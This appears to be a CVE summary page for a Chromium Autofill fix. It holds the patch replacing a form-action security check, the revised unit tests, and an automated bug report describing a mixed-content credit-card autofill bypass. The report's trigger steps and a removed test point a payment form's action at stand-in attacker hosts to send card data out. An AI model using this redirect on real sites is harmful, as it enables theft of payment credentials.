CVE-2026-17876
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
AutofillClientcomponents/autofill/core/browser/autofill_browser_util.h |
modified | |
FormStructurecomponents/autofill/core/browser/autofill_browser_util.h |
modified | |
TEST_Fcomponents/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc |
modified |
Files Changed
chrome/browser/keyboard_accessory/android/payment_method_accessory_controller_impl.ccchrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl.ccchrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cccomponents/autofill/core/browser/autofill_browser_util.cccomponents/autofill/core/browser/autofill_browser_util.hcomponents/autofill/core/browser/foundations/browser_autofill_manager.cccomponents/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc
Patch
From 7d9f8318e2c73395b6a9e2dd7c0bcbb43588230f Mon Sep 17 00:00:00 2001
From: Jihad Hanna <jihadghanna@google.com>
Date: Fri, 19 Jun 2026 14:59:53 -0700
Subject: [PATCH] Replace IsFormOrClientNonSecure() with IsContextSecure()
This CL removes the check that determines if a form's target URL
(action) uses HTTP when the page itself uses HTTPS. Autofill will now
only rely on the security of the page context via IsContextSecure().
Reasoning:
- Chrome already warns users against submitting to non-secure
connections (mixed content).
- The Autofill-specific protection layer was weak: a malicious script
could easily modify `FormData::action_` after autofill but before
submission, bypassing the check.
- Removing this check simplifies the code and eliminates the need to
store the form as state within AutofillExternalDelegate, which could
become stale and in that case mislead into believing an action is
secure when it might not be.
Fixed: 522425471
Change-Id: I09eacfde6e6b7774dea74269bd41cb80dcf0a2e8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7959059
Reviewed-by: Dominic Battré <battre@chromium.org>
Reviewed-by: Christoph Schwering <schwering@google.com>
Commit-Queue: Jihad Hanna <jihadghanna@google.com>
Reviewed-by: Jan Keitel <jkeitel@google.com>
Cr-Commit-Position: refs/heads/main@{#1649823}
---
diff --git a/chrome/browser/keyboard_accessory/android/payment_method_accessory_controller_impl.cc b/chrome/browser/keyboard_accessory/android/payment_method_accessory_controller_impl.cc
index 1a02659..a8a9032 100644
--- a/chrome/browser/keyboard_accessory/android/payment_method_accessory_controller_impl.cc
+++ b/chrome/browser/keyboard_accessory/android/payment_method_accessory_controller_impl.cc
@@ -210,9 +210,7 @@
std::vector<UserInfo> info_to_add;
bool allow_filling =
- autofill_manager &&
- !IsFormOrClientNonSecure(autofill_manager->client(),
- autofill_manager->last_query_form());
+ autofill_manager && autofill_manager->client().IsContextSecure();
std::vector<const CachedServerCardInfo*> unmasked_cards =
GetUnmaskedCreditCards();
diff --git a/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl.cc b/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl.cc
index f07221c..566d7d6 100644
--- a/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl.cc
+++ b/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl.cc
@@ -158,7 +158,7 @@
}
// Trigger only if the client and the form are not insecure.
- if (IsFormOrClientNonSecure(manager_->client(), *form)) {
+ if (!manager_->client().IsContextSecure()) {
return {TriggerOutcome::kFormOrClientNotSecure, {}};
}
// Trigger only on focusable empty field.
@@ -368,13 +368,10 @@
}
bool TouchToFillDelegateAndroidImpl::ShouldShowScanCreditCard() {
- if (!manager_->client()
- .GetPaymentsAutofillClient()
- ->HasCreditCardScanFeature()) {
- return false;
- }
-
- return !IsFormOrClientNonSecure(manager_->client(), query_form_);
+ return manager_->client()
+ .GetPaymentsAutofillClient()
+ ->HasCreditCardScanFeature() &&
+ manager_->client().IsContextSecure();
}
bool TouchToFillDelegateAndroidImpl::ShouldShowGPayLogo() const {
diff --git a/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc b/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc
index 207078ac..85aa3a9 100644
--- a/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc
+++ b/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc
@@ -815,21 +815,6 @@
}
TEST_F(TouchToFillDelegateAndroidImplCreditCardUnitTest,
- TryToShowTouchToFillFailsIfFormIsNotSecure) {
- // Simulate non-secure form.
- form_ = test::CreateTestCreditCardFormData(/*is_https=*/false,
- /*use_month_type=*/false);
-
- ASSERT_FALSE(touch_to_fill_delegate_->IsShowingTouchToFill());
-
- TryToShowTouchToFill(/*expected_success=*/false);
-
- histogram_tester_.ExpectUniqueSample(
- kUmaTouchToFillCreditCardTriggerOutcome,
- TouchToFillPaymentMethodTriggerOutcome::kFormOrClientNotSecure, 1);
-}
-
-TEST_F(TouchToFillDelegateAndroidImplCreditCardUnitTest,
TryToShowTouchToFillFailsIfClientIsNotSecure) {
// Simulate non-secure client.
autofill_client().set_last_committed_primary_main_frame_url(
diff --git a/components/autofill/core/browser/autofill_browser_util.cc b/components/autofill/core/browser/autofill_browser_util.cc
index 62531ff..9212d19e 100644
--- a/components/autofill/core/browser/autofill_browser_util.cc
+++ b/components/autofill/core/browser/autofill_browser_util.cc
@@ -15,18 +15,6 @@
namespace autofill {
-bool IsFormOrClientNonSecure(const AutofillClient& client,
- const FormData& form) {
- return !client.IsContextSecure() ||
- (form.action().is_valid() && form.action().SchemeIs("http"));
-}
-
-bool IsFormOrClientNonSecure(const AutofillClient& client,
- const FormStructure& form) {
- return !client.IsContextSecure() ||
- (form.target_url().is_valid() && form.target_url().SchemeIs("http"));
-}
-
bool IsFormMixedContent(const AutofillClient& client, const FormData& form) {
return client.IsContextSecure() && form.action().is_valid() &&
security_interstitials::IsInsecureFormAction(form.action());
diff --git a/components/autofill/core/browser/autofill_browser_util.h b/components/autofill/core/browser/autofill_browser_util.h
index f2df0353..8c30bb4 100644
--- a/components/autofill/core/browser/autofill_browser_util.h
+++ b/components/autofill/core/browser/autofill_browser_util.h
@@ -14,14 +14,6 @@
class AutofillClient;
class FormStructure;
-// Checks whether a given form is considered insecure (by origin or action).
-bool IsFormOrClientNonSecure(const AutofillClient& client,
- const FormData& form);
-
-// Checks whether a given form is considered insecure (by origin or action).
-bool IsFormOrClientNonSecure(const AutofillClient& client,
- const FormStructure& form);
-
// Checks whether a given form is considered mixed content. A form is mixed
// content if is displayed on a secure context, but submits to an insecure one.
bool IsFormMixedContent(const AutofillClient& client, const FormData& form);
diff --git a/components/autofill/core/browser/foundations/browser_autofill_manager.cc b/components/autofill/core/browser/foundations/browser_autofill_manager.cc
index 31ef50a..633c1d7 100644
--- a/components/autofill/core/browser/foundations/browser_autofill_manager.cc
+++ b/components/autofill/core/browser/foundations/browser_autofill_manager.cc
@@ -1749,7 +1749,7 @@
if (form_structure &&
context.filling_product == FillingProduct::kCreditCard) {
AutofillMetrics::LogIsQueriedCreditCardFormSecure(
- !IsFormOrClientNonSecure(client(), *form_structure));
+ client().IsContextSecure());
}
if (trigger_source ==
AutofillSuggestionTriggerSource::kFormControlElementClicked &&
@@ -2255,10 +2255,7 @@
auto [form_structure, autofill_field] =
GetCachedFormAndField(form_id, field_id);
- const bool is_context_secure =
- form_structure ? !IsFormOrClientNonSecure(client(), *form_structure)
- : !IsFormOrClientNonSecure(client(), last_query_form());
- GetAtMemoryManager().OnPopupShown(trigger_source, is_context_secure,
+ GetAtMemoryManager().OnPopupShown(trigger_source, client().IsContextSecure(),
update_suggestions_callback);
const DenseSet<SuggestionType> shown_suggestion_types(suggestions,
diff --git a/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc b/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc
index 88019aa..598d22b 100644
--- a/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc
+++ b/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc
@@ -5238,14 +5238,13 @@
form.fields()[0].global_id(), {});
}
-// Tests that even if the context is secure and the `FormStructure` is missing,
-// the underlying `FormData` is still evaluated for being safe enough for
-// filling SPIIs.
-TEST_F(BrowserAutofillManagerTest, DidShowSuggestions_FormNonSecureAction) {
- // Ensure that the client context is secure.
+// Tests that if the context is insecure, the suggestions are filtered out
+// to not contain SPII.
+TEST_F(BrowserAutofillManagerTest, DidShowSuggestions_FormNonSecureContext) {
+ // Ensure that the client context is insecure.
autofill_client().set_last_committed_primary_main_frame_url(
- GURL("https://example.com"));
- ASSERT_TRUE(autofill_client().IsContextSecure());
+ GURL("http://example.com"));
+ ASSERT_FALSE(autofill_client().IsContextSecure());
auto mock_query_service = std::make_unique<
testing::NiceMock<accessibility_annotator::MockAtMemoryQueryService>>();
@@ -5253,11 +5252,12 @@
mock_query_service.get();
autofill_client().set_at_memory_query_service(std::move(mock_query_service));
- // Create a form that submits to an insecure HTTP action.
+ // Create a form on an insecure page. The action can be secure, but the
Regression Test / PoC
diff --git a/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc b/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc
index 207078ac..85aa3a9 100644
--- a/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc
+++ b/chrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl_unittest.cc
@@ -815,21 +815,6 @@
}
TEST_F(TouchToFillDelegateAndroidImplCreditCardUnitTest,
- TryToShowTouchToFillFailsIfFormIsNotSecure) {
- // Simulate non-secure form.
- form_ = test::CreateTestCreditCardFormData(/*is_https=*/false,
- /*use_month_type=*/false);
-
- ASSERT_FALSE(touch_to_fill_delegate_->IsShowingTouchToFill());
-
- TryToShowTouchToFill(/*expected_success=*/false);
-
- histogram_tester_.ExpectUniqueSample(
- kUmaTouchToFillCreditCardTriggerOutcome,
- TouchToFillPaymentMethodTriggerOutcome::kFormOrClientNotSecure, 1);
-}
-
-TEST_F(TouchToFillDelegateAndroidImplCreditCardUnitTest,
TryToShowTouchToFillFailsIfClientIsNotSecure) {
// Simulate non-secure client.
autofill_client().set_last_committed_primary_main_frame_url(
diff --git a/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc b/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc
index 88019aa..598d22b 100644
--- a/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc
+++ b/components/autofill/core/browser/foundations/browser_autofill_manager_unittest.cc
@@ -5238,14 +5238,13 @@
form.fields()[0].global_id(), {});
}
-// Tests that even if the context is secure and the `FormStructure` is missing,
-// the underlying `FormData` is still evaluated for being safe enough for
-// filling SPIIs.
-TEST_F(BrowserAutofillManagerTest, DidShowSuggestions_FormNonSecureAction) {
- // Ensure that the client context is secure.
+// Tests that if the context is insecure, the suggestions are filtered out
+// to not contain SPII.
+TEST_F(BrowserAutofillManagerTest, DidShowSuggestions_FormNonSecureContext) {
+ // Ensure that the client context is insecure.
autofill_client().set_last_committed_primary_main_frame_url(
- GURL("https://example.com"));
- ASSERT_TRUE(autofill_client().IsContextSecure());
+ GURL("http://example.com"));
+ ASSERT_FALSE(autofill_client().IsContextSecure());
auto mock_query_service = std::make_unique<
testing::NiceMock<accessibility_annotator::MockAtMemoryQueryService>>();
@@ -5253,11 +5252,12 @@
mock_query_service.get();
autofill_client().set_at_memory_query_service(std::move(mock_query_service));
- // Create a form that submits to an insecure HTTP action.
+ // Create a form on an insecure page. The action can be secure, but the
+ // context is what matters.
FormData insecure_form;
insecure_form.set_name(u"InsecureForm");
- insecure_form.set_url(GURL("https://example.com/form.html"));
- insecure_form.set_action(GURL("http://attacker.com/search"));
+ insecure_form.set_url(GURL("http://example.com/form.html"));
+ insecure_form.set_action(GURL("https://example.com/search"));
test_api(insecure_form)
.Append(CreateTestFormField("Search", "search", "",
FormControlType::kInputText));
@@ -5291,9 +5291,8 @@
accessibility_annotator::MemorySearchStatus::kFinalResponseSuccess,
std::move(entries));
- // Send search results. Since the context should be insecure (due to insecure
- // fallback action), the SPII entry must be filtered out, leaving no
- // suggestions.
+ // Send search results. Since the context is insecure, the SPII entry must be
+ // filtered out, leaving no suggestions.
search_callback.Run(std::move(results));
ASSERT_EQ(updated_suggestions.size(), 1u);
EXPECT_EQ(updated_suggestions[0].main_text.value,
Original Bug Report
Mixed-content payment autofill bypass via stale FormStructure cache
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential security policy bypass exists in Chrome’s payment autofill mechanism when the kAutofillNewSuggestionGeneration feature is enabled. An attacker can dynamically modify a secure form’s action URL to an insecure HTTP search path to bypass mixed-content security checks, causing sensitive credit card data to be filled into insecure contexts. This occurs because the dynamic modification causes an early exit in form parsing, leaving a stale secure URL in the cached FormStructure.
Affected files:
components/autofill/core/browser/suggestions/payments/credit_card_suggestion_generator.ccchrome/browser/touch_to_fill/autofill/android/touch_to_fill_delegate_android_impl.cccomponents/autofill/core/browser/ui/payments/omnibox_autofill_delegate.cccomponents/autofill/core/browser/foundations/autofill_manager.cccomponents/autofill/core/browser/form_structure.cccomponents/autofill/core/browser/form_qualifiers.cccomponents/autofill/core/browser/autofill_browser_util.cc
Estimated timestamp from git blame: 2026-01-29
Description & Root Cause
A potential security bypass in Chromium’s credit card mixed-content autofill protection has been identified when the kAutofillNewSuggestionGeneration feature flag is enabled. Under this feature branch, the legacy fresh-FormData-based secure context check (IsFormMixedContent) is skipped in favor of checks on the cached FormStructure pointer, such as IsFormOrClientNonSecure(client, *form_structure).
However, the cached FormStructure::target_url_ can be frozen at a stale secure (https://) state through a dynamic form action update. Specifically, if a form’s action path matches the search regex kUrlSearchActionRe (e.g., /search), ShouldBeParsed returns false inside ParseFormAsync (components/autofill/core/browser/foundations/autofill_manager.cc):
if (!ShouldBeParsed(form, log_manager())) {
LogCurrentFieldTypes(&form);
std::move(callback).Run(*this, form); // Cache is NOT updated
return;
}
Because of this early return, UpdateFormCache() is skipped, and the cached FormStructure::target_url_ retains its original secure HTTPS URL. When suggestion generation occurs, IsFormOrClientNonSecure reads the stale HTTPS scheme and incorrectly permits unmasked credit card suggestions (PAN and CVC) to be filled into the modified insecure HTTP context.
This bypass potentially affects desktop popup suggestions, Android Touch-to-Fill bottom sheets, and the omnibox credit card chip.
Potential Trigger Steps
Note: These are potential steps that require verification via a working proof of concept, as our analysis is purely static and we do not currently have the capability to execute code.
- A secure page (
https://victim.example) serves a payment form containing credit card fields with an initial secure target (action="https://victim.example/checkout"). - The browser parses and caches the form, storing
target_url_ = https://victim.example/checkout. - Legitimate or injected page JavaScript dynamically changes the form action to an insecure search endpoint:
form.action = "http://attacker.example/search". - The user taps/focuses on a credit card field, prompting the renderer to send
AskForValuesToFillwith the freshFormDataaction URL. ShouldBeParsed()matches/searchagainst the search regex, returnsfalse, and triggers an early exit inParseFormAsync, leaving the cachedFormStructurewith its stale securetarget_url_.- The suggestion generation pipeline runs with the stale
FormStructurepointer and determines the context is secure. Credit card suggestions are displayed and populated with unmasked credentials upon user acceptance, sending sensitive payment data in cleartext to the insecure host.
Suggested Fix
To remediate this issue, consider implementing one of the following changes:
- Use Fresh Form Data: Ensure that secure-context and mixed-content validation gates during suggestion generation and filling utilize the fresh
FormData::action()scheme rather than relying entirely on the cachedFormStructure::target_url_. - Invalidate Cache on Parse Discard: If
ShouldBeParsedreturnsfalseon a form that already exists inform_structures_, evict or invalidate the cachedFormStructure(or at least update/clear its cachedtarget_url_) to prevent stale reads.
Evaluated with Chrome root at commit: b2fea2e31df308d0f04e4ae47def4c4f939ee141
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.